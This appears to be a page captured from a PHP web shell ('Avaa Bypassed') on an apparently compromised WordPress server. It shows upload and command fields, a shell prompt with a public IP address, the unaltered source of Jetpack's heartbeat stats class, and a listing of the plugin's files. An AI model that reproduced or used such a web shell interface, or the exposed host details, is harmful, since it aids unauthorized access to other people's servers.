404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@3.145.49.90: ~ $
<?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName
/**
 * Jetpack Heartbeat.
 *
 * @package automattic/jetpack
 */

use Automattic\Jetpack\Connection\Manager;
use Automattic\Jetpack\Heartbeat;

/**
 * Jetpack Heartbeat.
 */
class Jetpack_Heartbeat {

	/**
	 * Holds the singleton instance of this class
	 *
	 * @since 2.3.3
	 * @var Jetpack_Heartbeat
	 */
	private static $instance = false;

	/**
	 * Holds the singleton instance of the proxied class
	 *
	 * @since 8.9.0
	 * @var Automattic\Jetpack\Heartbeat
	 */
	private static $proxied_instance = false;

	/**
	 * Singleton
	 *
	 * @since 2.3.3
	 * @static
	 * @return Jetpack_Heartbeat
	 */
	public static function init() {
		if ( ! self::$instance ) {
			self::$instance         = new Jetpack_Heartbeat();
			self::$proxied_instance = Heartbeat::init();
		}

		return self::$instance;
	}

	/**
	 * Constructor for singleton
	 *
	 * @since 2.3.3
	 */
	private function __construct() {
		add_filter( 'jetpack_heartbeat_stats_array', array( $this, 'add_stats_to_heartbeat' ) );
	}

	/**
	 * Generates heartbeat stats data.
	 *
	 * @param string $prefix Prefix to add before stats identifier.
	 *
	 * @return array The stats array.
	 */
	public static function generate_stats_array( $prefix = '' ) {
		$return = array();

		$return[ "{$prefix}version" ]        = JETPACK__VERSION;
		$return[ "{$prefix}wp-version" ]     = get_bloginfo( 'version' );
		$return[ "{$prefix}php-version" ]    = PHP_VERSION;
		$return[ "{$prefix}branch" ]         = (float) JETPACK__VERSION;
		$return[ "{$prefix}wp-branch" ]      = (float) get_bloginfo( 'version' );
		$return[ "{$prefix}php-branch" ]     = (float) PHP_VERSION;
		$return[ "{$prefix}public" ]         = Jetpack_Options::get_option( 'public' );
		$return[ "{$prefix}ssl" ]            = Jetpack::permit_ssl();
		$return[ "{$prefix}is-https" ]       = is_ssl() ? 'https' : 'http';
		$return[ "{$prefix}language" ]       = get_bloginfo( 'language' );
		$return[ "{$prefix}charset" ]        = get_bloginfo( 'charset' );
		$return[ "{$prefix}is-multisite" ]   = is_multisite() ? 'multisite' : 'singlesite';
		$return[ "{$prefix}identitycrisis" ] = Jetpack::check_identity_crisis() ? 'yes' : 'no';
		$return[ "{$prefix}plugins" ]        = implode( ',', Jetpack::get_active_plugins() );
		if ( function_exists( 'get_mu_plugins' ) ) {
			$return[ "{$prefix}mu-plugins" ] = implode( ',', array_keys( get_mu_plugins() ) );
		}
		$return[ "{$prefix}manage-enabled" ] = true;

		if ( function_exists( 'get_space_used' ) ) { // Only available in multisite.
			$space_used = get_space_used();
		} else {
			// This is the same as `get_space_used`, except it does not apply the short-circuit filter.
			$upload_dir = wp_upload_dir();
			$space_used = get_dirsize( $upload_dir['basedir'] ) / MB_IN_BYTES;
		}

		$return[ "{$prefix}space-used" ] = $space_used;

		$xmlrpc_errors = Jetpack_Options::get_option( 'xmlrpc_errors', array() );
		if ( $xmlrpc_errors ) {
			$return[ "{$prefix}xmlrpc-errors" ] = implode( ',', array_keys( $xmlrpc_errors ) );
			Jetpack_Options::delete_option( 'xmlrpc_errors' );
		}

		// Missing the connection owner?
		$connection_manager                 = new Manager();
		$return[ "{$prefix}missing-owner" ] = $connection_manager->is_missing_connection_owner();

		// is-multi-network can have three values, `single-site`, `single-network`, and `multi-network`.
		$return[ "{$prefix}is-multi-network" ] = 'single-site';
		if ( is_multisite() ) {
			$return[ "{$prefix}is-multi-network" ] = Jetpack::is_multi_network() ? 'multi-network' : 'single-network';
		}

		if ( ! empty( $_SERVER['SERVER_ADDR'] ) || ! empty( $_SERVER['LOCAL_ADDR'] ) ) {
			$ip     = ! empty( $_SERVER['SERVER_ADDR'] ) ? wp_unslash( $_SERVER['SERVER_ADDR'] ) : wp_unslash( $_SERVER['LOCAL_ADDR'] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Sanitized just below.
			$ip_arr = array_map( 'intval', explode( '.', $ip ) );
			if ( 4 === count( $ip_arr ) ) {
				$return[ "{$prefix}ip-2-octets" ] = implode( '.', array_slice( $ip_arr, 0, 2 ) );
			}
		}

		foreach ( Jetpack::get_available_modules() as $slug ) {
			$return[ "{$prefix}module-{$slug}" ] = Jetpack::is_module_active( $slug ) ? 'on' : 'off';
		}

		return $return;
	}

	/**
	 * Add Jetpack Stats array to Heartbeat if Jetpack is connected
	 *
	 * @since 8.9.0
	 *
	 * @param array $stats Jetpack Heartbeat stats.
	 * @return array $stats
	 */
	public function add_stats_to_heartbeat( $stats ) {

		if ( ! Jetpack::is_connection_ready() ) {
			return $stats;
		}

		$jetpack_stats = self::generate_stats_array();

		return array_merge( $stats, $jetpack_stats );
	}
}

Filemanager

Name Type Size Permission Actions
3rd-party Folder 0755
_inc Folder 0755
css Folder 0755
extensions Folder 0755
images Folder 0755
jetpack_vendor Folder 0755
json-endpoints Folder 0755
modules Folder 0755
sal Folder 0755
src Folder 0755
vendor Folder 0755
views Folder 0755
CHANGELOG.md File 572 KB 0644
LICENSE.txt File 17.98 KB 0644
SECURITY.md File 2.45 KB 0644
class-jetpack-connection-status.php File 728 B 0644
class-jetpack-connection-widget.php File 3.29 KB 0644
class-jetpack-gallery-settings.php File 3.38 KB 0644
class-jetpack-pre-connection-jitms.php File 5.77 KB 0644
class-jetpack-recommendations-banner.php File 9.1 KB 0644
class-jetpack-stats-dashboard-widget.php File 7.77 KB 0644
class-jetpack-wizard-banner.php File 214 B 0644
class-jetpack-xmlrpc-methods.php File 8.33 KB 0644
class.frame-nonce-preview.php File 3.22 KB 0644
class.jetpack-admin.php File 19.86 KB 0644
class.jetpack-affiliate.php File 205 B 0644
class.jetpack-autoupdate.php File 9.74 KB 0644
class.jetpack-bbpress-json-api.compat.php File 220 B 0644
class.jetpack-boost-modules.php File 1.23 KB 0644
class.jetpack-cli.php File 71.41 KB 0644
class.jetpack-client-server.php File 2.79 KB 0644
class.jetpack-connection-banner.php File 13.88 KB 0644
class.jetpack-data.php File 275 B 0644
class.jetpack-gutenberg.php File 41.34 KB 0644
class.jetpack-heartbeat.php File 4.55 KB 0644
class.jetpack-idc.php File 351 B 0644
class.jetpack-modules-list-table.php File 14.79 KB 0644
class.jetpack-network-sites-list-table.php File 5.93 KB 0644
class.jetpack-network.php File 21.03 KB 0644
class.jetpack-plan.php File 4.09 KB 0644
class.jetpack-post-images.php File 31.98 KB 0644
class.jetpack-twitter-cards.php File 12.92 KB 0644
class.jetpack-user-agent.php File 25.84 KB 0644
class.jetpack.php File 227.95 KB 0644
class.json-api-endpoints.php File 82.42 KB 0644
class.json-api.php File 33.34 KB 0644
class.photon.php File 1.74 KB 0644
composer.json File 3.8 KB 0644
enhanced-open-graph.php File 4.35 KB 0644
functions.compat.php File 4.1 KB 0644
functions.cookies.php File 2.04 KB 0644
functions.global.php File 15.08 KB 0644
functions.is-mobile.php File 2.47 KB 0644
functions.opengraph.php File 17.72 KB 0644
functions.photon.php File 3.04 KB 0644
jetpack.php File 8.24 KB 0644
json-api-config.php File 338 B 0644
json-endpoints.php File 6.92 KB 0644
load-jetpack.php File 3.39 KB 0644
locales.php File 324 B 0644
readme.txt File 28.39 KB 0644
uninstall.php File 1.6 KB 0644
wpml-config.xml File 1.26 KB 0644